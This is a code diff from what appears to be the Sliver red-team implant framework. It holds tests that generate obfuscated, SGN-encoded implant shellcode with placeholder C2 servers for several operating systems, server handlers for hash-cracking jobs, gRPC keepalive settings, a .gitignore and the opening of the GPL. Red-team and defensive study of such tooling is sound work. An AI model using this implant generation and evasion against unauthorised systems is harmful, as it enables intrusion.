||||||
|
if len(ldflags) != 1 {
|
||||||
|
t.Fatalf("expected a single -ldflags string, got %d (%v)", len(ldflags), ldflags)
|
||||||
|
}
|
||||||
|
if !strings.Contains(ldflags[0], "-linkmode=external") {
|
||||||
|
t.Fatalf("expected -linkmode=external in ldflags, got %q", ldflags[0])
|
||||||
|
}
|
||||||
|
if !strings.Contains(ldflags[0], "-extldflags=-static") {
|
||||||
|
t.Fatalf("expected -extldflags=-static in ldflags, got %q", ldflags[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestApplyZigStaticLinking_NotLinux(t *testing.T) {
|
||||||
|
cfg := &gogo.GoConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
CGO: "1",
|
||||||
|
CC: "zig cc -target x86_64-windows-gnu",
|
||||||
|
}
|
||||||
|
ldflags, enabled := applyZigStaticLinking(cfg, "c-shared", []string{""})
|
||||||
|
if enabled {
|
||||||
|
t.Fatalf("did not expect static linking to be enabled on %s", cfg.GOOS)
|
||||||
|
}
|
||||||
|
if len(ldflags) != 1 || ldflags[0] != "" {
|
||||||
|
t.Fatalf("expected ldflags unchanged, got %v", ldflags)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSanitizeZigForBuild_LinuxSharedObject(t *testing.T) {
|
||||||
|
t.Setenv("SLIVER_ROOT_DIR", "/tmp/sliver-test-root")
|
||||||
|
cfg := &gogo.GoConfig{
|
||||||
|
GOOS: "linux",
|
||||||
|
CGO: "1",
|
||||||
|
CC: "/tmp/zig cc -target x86_64-linux-musl -static",
|
||||||
|
CXX: "/tmp/zig c++ -target x86_64-linux-musl -static",
|
||||||
|
}
|
||||||
|
sanitizeZigForBuild(cfg, "c-shared")
|
||||||
|
|
||||||
|
if strings.Contains(cfg.CC, "-static") || strings.Contains(cfg.CXX, "-static") {
|
||||||
|
t.Fatalf("expected -static to be stripped for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
|
||||||
|
}
|
||||||
|
if strings.Contains(cfg.CC, "-linux-musl") || strings.Contains(cfg.CXX, "-linux-musl") {
|
||||||
|
t.Fatalf("expected linux-musl -> linux-gnu for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
|
||||||
|
}
|
||||||
|
if !strings.Contains(cfg.CC, "-linux-gnu") || !strings.Contains(cfg.CXX, "-linux-gnu") {
|
||||||
|
t.Fatalf("expected linux-gnu target for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
|
||||||
|
}
|
||||||
|
|
||||||
|
// We should also add a debug prefix map for the Sliver-managed zig root to
|
||||||
|
// avoid leaking absolute paths in DWARF.
|
||||||
|
if !strings.Contains(cfg.CC, "-fdebug-prefix-map=") {
|
||||||
|
t.Fatalf("expected -fdebug-prefix-map to be set, got CC=%q", cfg.CC)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSanitizeZigForBuild_Windows(t *testing.T) {
|
||||||
|
t.Setenv("SLIVER_ROOT_DIR", "/tmp/sliver-test-root")
|
||||||
|
cfg := &gogo.GoConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
CGO: "1",
|
||||||
|
CC: "/tmp/zig cc -target x86_64-windows-gnu",
|
||||||
|
CXX: "/tmp/zig c++ -target x86_64-windows-gnu",
|
||||||
|
}
|
||||||
|
sanitizeZigForBuild(cfg, "c-shared")
|
||||||
|
|
||||||
|
if !strings.Contains(cfg.CC, "-fdebug-prefix-map=") {
|
||||||
|
t.Fatalf("expected -fdebug-prefix-map to be set for zig builds, got CC=%q", cfg.CC)
|
||||||
|
}
|
||||||
|
if !strings.Contains(cfg.CXX, "-fdebug-prefix-map=") {
|
||||||
|
t.Fatalf("expected -fdebug-prefix-map to be set for zig builds, got CXX=%q", cfg.CXX)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,188 @@
|
|||||||
|
package generate
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2019 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"runtime"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
|
"github.com/bishopfox/sliver/server/configs"
|
||||||
|
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestSliverShellcodeWindows(t *testing.T) {
|
||||||
|
// Shared Library Shellcode
|
||||||
|
multiWindowsLibraryShellcode(t, true)
|
||||||
|
multiWindowsLibraryShellcode(t, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
func multiWindowsLibraryShellcode(t *testing.T, debug bool) {
|
||||||
|
t.Logf("[multi] SHELLCODE windows/amd64 - debug: %v", debug)
|
||||||
|
name := fmt.Sprintf("multilibrary_shellcode_test%d", nonce)
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
|
||||||
|
C2: []*clientpb.ImplantC2{
|
||||||
|
{URL: "mtls://1.example.com"},
|
||||||
|
{Priority: 2, URL: "mtls://2.example.com"},
|
||||||
|
{URL: "https://3.example.com"},
|
||||||
|
{URL: "dns://4.example.com", Options: "asdf"},
|
||||||
|
},
|
||||||
|
Debug: debug,
|
||||||
|
ObfuscateSymbols: true,
|
||||||
|
Format: clientpb.OutputFormat_SHELLCODE,
|
||||||
|
IsShellcode: true,
|
||||||
|
IsSharedLib: false,
|
||||||
|
Exports: []string{"FoobarW"},
|
||||||
|
IncludeMTLS: true,
|
||||||
|
IncludeHTTP: true,
|
||||||
|
IncludeDNS: true,
|
||||||
|
}
|
||||||
|
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||||
|
nonce++
|
||||||
|
build, _ := GenerateConfig(name, config)
|
||||||
|
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("%v", err)
|
||||||
|
}
|
||||||
|
defer cleanupGeneratedArtifacts(t, binPath)
|
||||||
|
|
||||||
|
// encode bin with sgn
|
||||||
|
bin, err := os.ReadFile(binPath)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("reading generated shared lib shellcode failed: %v", err)
|
||||||
|
}
|
||||||
|
_, err = sgn.EncodeShellcodeWithConfig(bin, sgn.SGNConfig{
|
||||||
|
Iterations: 1,
|
||||||
|
PlainDecoder: false,
|
||||||
|
Safe: true,
|
||||||
|
MaxObfuscation: 100,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("sgn encode failed: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSliverShellcodeLinux(t *testing.T) {
|
||||||
|
multiLinuxShellcode(t, "amd64", true)
|
||||||
|
multiLinuxShellcode(t, "amd64", false)
|
||||||
|
|
||||||
|
multiLinuxShellcode(t, "arm64", true)
|
||||||
|
multiLinuxShellcode(t, "arm64", false)
|
||||||
|
}
|
||||||
|
|
||||||
|
func multiLinuxShellcode(t *testing.T, goarch string, debug bool) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
t.Logf("[multi] SHELLCODE linux/%s - debug: %v", goarch, debug)
|
||||||
|
name := fmt.Sprintf("multi_linux_shellcode_test%d", nonce)
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "linux",
|
||||||
|
GOARCH: goarch,
|
||||||
|
|
||||||
|
C2: []*clientpb.ImplantC2{
|
||||||
|
{URL: "mtls://1.example.com"},
|
||||||
|
{Priority: 2, URL: "mtls://2.example.com"},
|
||||||
|
{URL: "https://3.example.com"},
|
||||||
|
{URL: "dns://4.example.com", Options: "asdf"},
|
||||||
|
},
|
||||||
|
Debug: debug,
|
||||||
|
ObfuscateSymbols: true,
|
||||||
|
Format: clientpb.OutputFormat_SHELLCODE,
|
||||||
|
IsShellcode: true,
|
||||||
|
IsSharedLib: false,
|
||||||
|
Exports: []string{"FoobarW"},
|
||||||
|
IncludeMTLS: true,
|
||||||
|
IncludeHTTP: true,
|
||||||
|
IncludeDNS: true,
|
||||||
|
}
|
||||||
|
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||||
|
nonce++
|
||||||
|
build, _ := GenerateConfig(name, config)
|
||||||
|
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("%v", err)
|
||||||
|
}
|
||||||
|
defer cleanupGeneratedArtifacts(t, binPath)
|
||||||
|
|
||||||
|
bin, err := os.ReadFile(binPath)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("reading generated linux shellcode failed: %v", err)
|
||||||
|
}
|
||||||
|
if len(bin) == 0 {
|
||||||
|
t.Fatalf("generated linux shellcode is empty")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSliverShellcodeDarwin(t *testing.T) {
|
||||||
|
// darwin shellcode generation requires a native toolchain (no default zig/osxcross support).
|
||||||
|
if runtime.GOOS != "darwin" {
|
||||||
|
t.Skipf("Skipping darwin shellcode generation on %s", runtime.GOOS)
|
||||||
|
}
|
||||||
|
|
||||||
|
multiDarwinShellcode(t, true)
|
||||||
|
multiDarwinShellcode(t, false)
|
||||||
|
}
|
||||||
|
|
||||||
|
func multiDarwinShellcode(t *testing.T, debug bool) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
t.Logf("[multi] SHELLCODE darwin/arm64 - debug: %v", debug)
|
||||||
|
name := fmt.Sprintf("multi_darwin_shellcode_test%d", nonce)
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "darwin",
|
||||||
|
GOARCH: "arm64",
|
||||||
|
|
||||||
|
C2: []*clientpb.ImplantC2{
|
||||||
|
{URL: "mtls://1.example.com"},
|
||||||
|
{Priority: 2, URL: "mtls://2.example.com"},
|
||||||
|
{URL: "https://3.example.com"},
|
||||||
|
{URL: "dns://4.example.com", Options: "asdf"},
|
||||||
|
},
|
||||||
|
Debug: debug,
|
||||||
|
ObfuscateSymbols: true,
|
||||||
|
Format: clientpb.OutputFormat_SHELLCODE,
|
||||||
|
IsShellcode: true,
|
||||||
|
IsSharedLib: false,
|
||||||
|
Exports: []string{"FoobarW"},
|
||||||
|
IncludeMTLS: true,
|
||||||
|
IncludeHTTP: true,
|
||||||
|
IncludeDNS: true,
|
||||||
|
}
|
||||||
|
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||||
|
nonce++
|
||||||
|
build, _ := GenerateConfig(name, config)
|
||||||
|
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("%v", err)
|
||||||
|
}
|
||||||
|
defer cleanupGeneratedArtifacts(t, binPath)
|
||||||
|
|
||||||
|
bin, err := os.ReadFile(binPath)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("reading generated darwin shellcode failed: %v", err)
|
||||||
|
}
|
||||||
|
if len(bin) == 0 {
|
||||||
|
t.Fatalf("generated darwin shellcode is empty")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
package rpc
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2022 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
|
"github.com/bishopfox/sliver/server/db"
|
||||||
|
"github.com/bishopfox/sliver/server/db/models"
|
||||||
|
"github.com/bishopfox/sliver/server/log"
|
||||||
|
"github.com/gofrs/uuid"
|
||||||
|
"google.golang.org/grpc/codes"
|
||||||
|
"google.golang.org/grpc/status"
|
||||||
|
"gorm.io/gorm"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
crackCommandRpcLog = log.NamedLogger("rpc", "crack")
|
||||||
|
)
|
||||||
|
|
||||||
|
func (rpc *Server) Crack(ctx context.Context, req *clientpb.CrackCommand) (*clientpb.CrackResponse, error) {
|
||||||
|
if req == nil {
|
||||||
|
crackCommandRpcLog.Warn("Received empty crack command")
|
||||||
|
return &clientpb.CrackResponse{}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
crackCommandRpcLog.Infof(
|
||||||
|
"Crack request: attack=%s hashType=%s hashes=%d status=%t",
|
||||||
|
req.AttackMode.String(),
|
||||||
|
req.HashType.String(),
|
||||||
|
len(req.Hashes),
|
||||||
|
req.Status,
|
||||||
|
)
|
||||||
|
|
||||||
|
jobID, err := uuid.NewV4()
|
||||||
|
if err != nil {
|
||||||
|
crackCommandRpcLog.Errorf("Failed to generate crack job ID: %s", err)
|
||||||
|
return nil, status.Error(codes.Internal, "failed to generate crack job id")
|
||||||
|
}
|
||||||
|
|
||||||
|
job := &models.CrackJob{
|
||||||
|
ID: jobID,
|
||||||
|
}
|
||||||
|
command := models.CrackCommand{}.FromProtobuf(req)
|
||||||
|
command.CrackJobID = jobID
|
||||||
|
|
||||||
|
if err := db.Session().Transaction(func(tx *gorm.DB) error {
|
||||||
|
if err := tx.Create(job).Error; err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return tx.Create(command).Error
|
||||||
|
}); err != nil {
|
||||||
|
crackCommandRpcLog.Errorf("Failed to save crack job: %s", err)
|
||||||
|
return nil, status.Error(codes.Internal, "failed to save crack job")
|
||||||
|
}
|
||||||
|
|
||||||
|
job.Command = *command
|
||||||
|
return &clientpb.CrackResponse{Job: job.ToProtobuf()}, nil
|
||||||
|
}
|
||||||
@@ -40,6 +40,7 @@ import (
|
|||||||
"google.golang.org/grpc/codes"
|
"google.golang.org/grpc/codes"
|
||||||
"google.golang.org/grpc/status"
|
"google.golang.org/grpc/status"
|
||||||
"google.golang.org/protobuf/proto"
|
"google.golang.org/protobuf/proto"
|
||||||
|
"gorm.io/gorm"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -112,16 +113,37 @@ func (rpc *Server) CrackstationBenchmark(ctx context.Context, req *clientpb.Crac
|
|||||||
crackRpcLog.Errorf("Failed to get crackstation by host UUID: %s", err)
|
crackRpcLog.Errorf("Failed to get crackstation by host UUID: %s", err)
|
||||||
return nil, status.Errorf(codes.NotFound, "Failed to find crackstation by host UUID")
|
return nil, status.Errorf(codes.NotFound, "Failed to find crackstation by host UUID")
|
||||||
}
|
}
|
||||||
crackstation.Benchmarks = []models.Benchmark{}
|
benchmarks := make([]models.Benchmark, 0, len(req.Benchmarks))
|
||||||
for hashType, speed := range req.Benchmarks {
|
for hashType, speed := range req.Benchmarks {
|
||||||
crackstation.Benchmarks = append(crackstation.Benchmarks, models.Benchmark{HashType: hashType, PerSecondRate: speed})
|
benchmarks = append(benchmarks, models.Benchmark{
|
||||||
|
CrackstationID: crackstation.ID,
|
||||||
|
HashType: hashType,
|
||||||
|
PerSecondRate: speed,
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
dbSession := db.Session()
|
dbSession := db.Session()
|
||||||
err = dbSession.Save(&crackstation).Error
|
err = dbSession.Transaction(func(tx *gorm.DB) error {
|
||||||
|
if err := tx.Where("crackstation_id = ?", crackstation.ID).Delete(&models.Benchmark{}).Error; err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if len(benchmarks) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return tx.Create(&benchmarks).Error
|
||||||
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
crackRpcLog.Errorf("Failed to save crackstation benchmarks: %s", err)
|
crackRpcLog.Errorf("Failed to save crackstation benchmarks: %s", err)
|
||||||
return nil, status.Errorf(codes.Internal, "Failed to save crackstation benchmarks")
|
return nil, status.Errorf(codes.Internal, "Failed to save crackstation benchmarks")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
crackStation := core.GetCrackstation(req.HostUUID)
|
||||||
|
if crackStation != nil {
|
||||||
|
crackStation.Station.Benchmarks = map[int32]uint64{}
|
||||||
|
for hashType, speed := range req.Benchmarks {
|
||||||
|
crackStation.Station.Benchmarks[hashType] = speed
|
||||||
|
}
|
||||||
|
}
|
||||||
return &commonpb.Empty{}, nil
|
return &commonpb.Empty{}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -161,7 +183,12 @@ func (rpc *Server) CrackstationRegister(req *clientpb.Crackstation, stream rpcpb
|
|||||||
|
|
||||||
if len(dbCrackstation.Benchmarks) == 0 {
|
if len(dbCrackstation.Benchmarks) == 0 {
|
||||||
crackRpcLog.Infof("No benchmark information for '%s', requesting benchmark...", req.Name)
|
crackRpcLog.Infof("No benchmark information for '%s', requesting benchmark...", req.Name)
|
||||||
err = stream.Send(&clientpb.Event{EventType: consts.CrackBenchmark, Data: []byte{}})
|
taskID, err := uuid.NewV4()
|
||||||
|
if err != nil {
|
||||||
|
crackRpcLog.Errorf("Failed to generate benchmark task ID: %s", err)
|
||||||
|
return status.Error(codes.Internal, "failed to create benchmark task")
|
||||||
|
}
|
||||||
|
err = stream.Send(&clientpb.Event{EventType: consts.CrackBenchmark, Data: taskID.Bytes()})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
crackRpcLog.Errorf("Failed to send benchmark task to crackstation: %s", err)
|
crackRpcLog.Errorf("Failed to send benchmark task to crackstation: %s", err)
|
||||||
return status.Error(codes.Internal, "failed to send benchmark task")
|
return status.Error(codes.Internal, "failed to send benchmark task")
|
||||||
|
|||||||
@@ -0,0 +1,36 @@
|
|||||||
|
package rpc
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2020 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ExecuteChildren - List tracked background execute child processes
|
||||||
|
func (rpc *Server) ExecuteChildren(ctx context.Context, req *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
|
||||||
|
resp := &sliverpb.ExecuteChildren{Response: &commonpb.Response{}}
|
||||||
|
err := rpc.GenericHandler(req, resp)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return resp, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
package transport
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2019 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"google.golang.org/grpc"
|
||||||
|
"google.golang.org/grpc/keepalive"
|
||||||
|
)
|
||||||
|
|
||||||
|
func grpcKeepaliveOptions() []grpc.ServerOption {
|
||||||
|
if serverConfig == nil || serverConfig.GRPC == nil || serverConfig.GRPC.Keepalive == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
minTimeSeconds := serverConfig.GRPC.Keepalive.MinTimeSeconds
|
||||||
|
if minTimeSeconds <= 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
permitWithoutStream := true
|
||||||
|
if serverConfig.GRPC.Keepalive.PermitWithoutStream != nil {
|
||||||
|
permitWithoutStream = *serverConfig.GRPC.Keepalive.PermitWithoutStream
|
||||||
|
}
|
||||||
|
|
||||||
|
policy := keepalive.EnforcementPolicy{
|
||||||
|
MinTime: time.Duration(minTimeSeconds) * time.Second,
|
||||||
|
PermitWithoutStream: permitWithoutStream,
|
||||||
|
}
|
||||||
|
return []grpc.ServerOption{
|
||||||
|
grpc.KeepaliveEnforcementPolicy(policy),
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -43,6 +43,7 @@ func LocalListener() (*grpc.Server, *bufconn.Listener, error) {
|
|||||||
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
||||||
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
||||||
}
|
}
|
||||||
|
options = append(options, grpcKeepaliveOptions()...)
|
||||||
options = append(options, initMiddleware(false)...)
|
options = append(options, initMiddleware(false)...)
|
||||||
grpcServer := grpc.NewServer(options...)
|
grpcServer := grpc.NewServer(options...)
|
||||||
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
||||||
|
|||||||
@@ -64,6 +64,7 @@ func StartMtlsClientListener(host string, port uint16) (*grpc.Server, net.Listen
|
|||||||
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
||||||
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
||||||
}
|
}
|
||||||
|
options = append(options, grpcKeepaliveOptions()...)
|
||||||
options = append(options, initMiddleware(true)...)
|
options = append(options, initMiddleware(true)...)
|
||||||
grpcServer := grpc.NewServer(options...)
|
grpcServer := grpc.NewServer(options...)
|
||||||
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
||||||
|
|||||||
@@ -81,6 +81,7 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L
|
|||||||
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
grpc.MaxRecvMsgSize(ServerMaxMessageSize),
|
||||||
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
grpc.MaxSendMsgSize(ServerMaxMessageSize),
|
||||||
}
|
}
|
||||||
|
options = append(options, grpcKeepaliveOptions()...)
|
||||||
options = append(options, initMiddleware(true)...)
|
options = append(options, initMiddleware(true)...)
|
||||||
grpcServer := grpc.NewServer(options...)
|
grpcServer := grpc.NewServer(options...)
|
||||||
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer())
|
||||||
|
|||||||
+32
@@ -0,0 +1,32 @@
|
|||||||
|
# OS / editor
|
||||||
|
.DS_Store
|
||||||
|
*.swp
|
||||||
|
*.swo
|
||||||
|
*~
|
||||||
|
.idea/
|
||||||
|
.vscode/
|
||||||
|
.cache/
|
||||||
|
|
||||||
|
# Go
|
||||||
|
*.exe
|
||||||
|
*.test
|
||||||
|
*.out
|
||||||
|
*.prof
|
||||||
|
coverage.out
|
||||||
|
cover.out
|
||||||
|
go.work
|
||||||
|
go.work.sum
|
||||||
|
|
||||||
|
# Common local build outputs
|
||||||
|
malasada
|
||||||
|
malasada.exe
|
||||||
|
|
||||||
|
# Zig
|
||||||
|
zig-cache/
|
||||||
|
zig-out/
|
||||||
|
|
||||||
|
# Test harness artifacts
|
||||||
|
testdata/**/*.so
|
||||||
|
testdata/**/*.bin
|
||||||
|
testdata/runner/runner
|
||||||
|
testdata/runner/runner.exe
|
||||||
+674
@@ -0,0 +1,674 @@
|
|||||||
|
GNU GENERAL PUBLIC LICENSE
|
||||||
|
Version 3, 29 June 2007
|
||||||
|
|
||||||
|
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||||
|
Everyone is permitted to copy and distribute verbatim copies
|
||||||
|
of this license document, but changing it is not allowed.
|
||||||
|
|
||||||
|
Preamble
|
||||||
|
|
||||||
|
The GNU General Public License is a free, copyleft license for
|
||||||
|
software and other kinds of works.
|
||||||
|
|
||||||
|
The licenses for most software and other practical works are designed
|
||||||
|
to take away your freedom to share and change the works. By contrast,
|
||||||
|
the GNU General Public License is intended to guarantee your freedom to
|
||||||
|
share and change all versions of a program--to make sure it remains free
|
||||||
|
software for all its users. We, the Free Software Foundation, use the
|
||||||
|
GNU General Public License for most of our software; it applies also to
|
||||||
|
any other work released this way by its authors. You can apply it to
|
||||||
|
your programs, too.
|
||||||
|
|
||||||
|
When we speak of free software, we are referring to freedom, not
|
||||||
|
price. Our General Public Licenses are designed to make sure that you
|
||||||
|
have the freedom to distribute copies of free software (and charge for
|
||||||
|
them if you wish), that you receive source code or can get it if you
|
||||||
|
want it, that you can change the software or use pieces of it in new
|
||||||
|
free programs, and that you know you can do these things.
|
||||||
|
|
||||||
|
To protect your rights, we need to prevent others from denying you
|
||||||
|
these rights or asking you to surrender the rights. Therefore, you have
|
||||||
|
certain responsibilities if you distribute copies of the software, or if
|
||||||
|
you modify it: responsibilities to respect the freedom of others.
|
||||||
|
|
||||||
|
For example, if you distribute copies of such a program, whether
|
||||||
|
gratis or for a fee, you must pass on to the recipients the same
|
||||||
|
freedoms that you received. You must make sure that they, too, receive
|
||||||
|
or can get the source code. And you must show them these terms so they
|
||||||
|
know their rights.
|
||||||
|
|
||||||
|
Developers that use the GNU GPL protect your rights with two steps:
|
||||||
|
(1) assert copyright on the software, and (2) offer you this License
|
||||||
|
giving you legal permission to copy, distribute and/or modify it.
|
||||||
|
|
||||||
|
For the developers' and authors' protection, the GPL clearly explains
|
||||||
|
that there is no warranty for this free software. For both users' and
|
||||||
|
authors' sake, the GPL requires that modified versions be marked as
|
||||||
|
changed, so that their problems will not be attributed erroneously to
|
||||||
|
authors of previous versions.
|
||||||
|
|
||||||
|
Some devices are designed to deny users access to install or run
|
||||||
|
modified versions of the software inside them, although the manufacturer
|
||||||
|
can do so. This is fundamentally incompatible with the aim of
|
||||||
|
protecting users' freedom to change the software. The systematic
|
||||||
|
pattern of such abuse occurs in the area of products for individuals to
|
||||||
|
use, which is precisely where it is most unacceptable. Therefore, we
|
||||||
|
have designed this version of the GPL to prohibit the practice for those
|
||||||
|
products. If such problems arise substantially in other domains, we
|
||||||
|
stand ready to extend this provision to those domains in future versions
|
||||||
|
of the GPL, as needed to protect the freedom of users.
|
||||||
|
|
||||||
|
Finally, every program is threatened constantly by software patents.
|
||||||
|
States should not allow patents to restrict development and use of
|
||||||
|
software on general-purpose computers, but in those that do, we wish to
|
||||||
|
avoid the special danger that patents applied to a free program could
|
||||||
|
make it effectively proprietary. To prevent this, the GPL assures that
|
||||||
|
patents cannot be used to render the program non-free.
|
||||||
|
|
||||||
|
The precise terms and conditions for copying, distribution and
|
||||||
|
modification follow.
|
||||||
|
|
||||||
|
TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
0. Definitions.
|
||||||
|
|
||||||
|
"This License" refers to version 3 of the GNU General Public License.
|
||||||
|
|
||||||
|
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||||
|
works, such as semiconductor masks.
|
||||||
|
|
||||||
|
"The Program" refers to any copyrightable work licensed under this
|
||||||
|
License. Each licensee is addressed as "you". "Licensees" and
|
||||||
|
"recipients" may be individuals or organizations.
|
||||||
|
|
||||||
|
To "modify" a work means to copy from or adapt all or part of the work
|
||||||
|
in a fashion requiring copyright permission, other than the making of an
|
||||||
|
